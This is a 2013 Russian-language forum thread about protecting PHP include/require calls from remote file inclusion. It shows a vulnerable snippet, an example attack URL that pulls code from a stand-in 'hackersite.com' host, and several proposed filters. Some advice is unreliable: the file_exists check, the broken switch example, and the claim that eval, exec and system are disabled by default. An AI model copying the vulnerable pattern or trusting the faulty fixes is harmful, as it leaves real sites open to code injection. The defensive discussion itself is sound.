Инъекция исполняемого кода

1. Украина (10.01.2013 / 16:43)
Все я думаю знают, а кто не знает, будет знать, такие уязвимые функции:
eval()
preg_replace() (с модификаторм "е")
require_once()
include_once()
require()
include()
create_function()

Вот хотелось бы поговорить от том кто как от этого лечится. как правильно отфильтровать в тех или иных случаях.

О первой функции (eval) говорить не будем, так как ее вобще не рекомендую использовать.
О второй по списку поговорим потом, так как меня больше интересуют функции с третей по четвертую. В принципе они исполняют почти одно и тоже, поэтому их можно объединить в одну главу.
И так эти функции могут нести в себе кучу дыр. Фактически дыра там одна и выглядит примерно так:
<?
....
$module = $_GET['module'];
include $module . '.php';
....
?>

Уязвимость:
h t t p : / / mysite . com / index . php ? module = h t t p : / / hackersite . com / inc

Как, в каком случае правильнее и каким способом отфильтровать данные.
Показываем примером кода...

2. Украина (11.01.2013 / 04:05)
На wiki http://ru.wikipedia.org/wiki/PHP-инъекция
прелагают вот так:
Проверять, что $module присвоено одно из допустимых значений.
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>

Проверять, не содержит ли переменная $module посторонние символы:

<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>

а какие еще способы существуют?

3. юЮЮфюв (11.01.2013 / 04:54)
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице

Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом

4. Андрюха (11.01.2013 / 08:55)
if(file_exists($module))
{
echo'норм';

} else {

echo'Не нрм';
}

5. Артур (11.01.2013 / 10:26)
зачем тебе принимать от клиента информацию о модулей? Эту информацию должен знать сервер

6. Николай (11.01.2013 / 12:24)
а если указывать полный путь до модулья
Через массив $_SERVER ?

7. alert (11.01.2013 / 12:33)
Тема - бред.
Если писать в "таком стиле", то любой яп одна большая дыра.

8. Украина (11.01.2013 / 13:59)
Happy Trololo (11 Января 2013 / 02:54)
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице

Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом
А лишняя нагрузка на сервер базы не будет?

9. Украина (11.01.2013 / 14:11)
4. Wapruks,
Думаю такой вариант можно попробовать!

10. Изнаур (11.01.2013 / 14:14)
интересно когда вообще может понадобиться принимать запросы от пользователей для инклуда?

11. Украина (11.01.2013 / 14:21)
7. alert, почему бред. Вот писал кто то так. Зашел сюда, увидел как не нужно. Исправился.
Умными и знающими не рождаются, а становятся.

12. Артур (11.01.2013 / 14:48)
11. alexua, не проще книжку прочитать прежде чем начинать что то писать?

13. Украина (11.01.2013 / 14:52)
Башка (11 Января 2013 / 08:26)
зачем тебе принимать от клиента информацию о модулей? Эту информацию должен знать сервер
Это не нужда - это возможность подключения левого файла если нет фильтра.

Добавлено через 09:32 сек.
Башка (11 Января 2013 / 12:48)
11. alexua, не проще книжку прочитать прежде чем начинать что то писать?
Все и обо всем в книге же не напишут. тем более что из 10 только одна правильно описывает и рассказывает. Да и время не стоит на месте. То что когда то было хорошо, может быть плохо или совсем не безопасно.

14. Украина (11.01.2013 / 15:07)
Iznaur95 (11 Января 2013 / 12:14)
интересно когда вообще может понадобиться принимать запросы от пользователей для инклуда?
Тогда, когда например очень большой вес файла. а на сервере его держать не возможно или не нужно и т.д. и т.п.
Но в данной ситуации надо защитится от возможности это сделать.

Добавлено через 04:43 сек.
Вот пожалуй один из лучших примеров.
Конструкция с оператором switch, например так:

<?php
...
$module = $_GET['module'];
switch ($module) // $case - имя переменной передаваемой в параметре к скрипту
{
case news: include(news.php); break;
case articles: include(articles.php); break;
... // и т.д.
// если в переменной $case отсутствует значение, то открывается главная страница
default: include(main.php); break;
}
...
?>

15. Артур (11.01.2013 / 19:01)
alexua (11 Января 2013 / 14:52)
Это не нужда - это возможность подключения левого файла если нет фильтра.

Добавлено через 09:32 сек.
Все и обо всем в книге же не напишут. тем более что из 10 только одна правильно описывает и рассказывает. Да и время не стоит на месте. То что когда то было хорошо, может быть плохо или совсем не безопасно.
Не нужна такая возможность подключения левого файла в коде.

Пишут, поверь мне все что нужно пишут

16. Андрей (10.02.2013 / 03:39)
alert (11 Января 2013 / 12:33)
Тема - бред.
Если писать в "таком стиле", то любой яп одна большая дыра.
Самый умный ответ! Поддерживаю.
Кто пишет в таком стиле пусть бросает это дело сегодня же - это не его.

17. Владислав (10.02.2013 / 04:06)
Зачем вообще инклюдить файл из переменной.

18. Apeccc (10.02.2013 / 06:18)
17. eXtaZy, нет времени объяснять, просто бери и инклудь файл из переменной.

19. Кевин Митник (10.02.2013 / 06:24)
***ство потому что. Выше написано.

20. Женек (10.02.2013 / 08:47)
плюсую все кто сказал что это бред. Автор, не майся фигней

21. Станислав Крунич (09.08.2013 / 09:20)
Вы еще такое пишете ? За это не нужно в скором времени будет беспокоиться..
Инъекции в скриптах были опасны 5 лет назад...
Сейчас PHP 5.5 C версии 5.3 используйте sp_register_autoload() и namespaces!
И никогда не волнуйтесь по поводу include , require.
SQL тоже самое ,PDO и подготовленные выражения как замена intval() и mysql_real_esc ...как там там дальше , забыл )).
А такие функции , как eval(), exec(), system() по умолчанию всегда отключены.. Буря в стакане

URL: https://visavi.net/topics/36150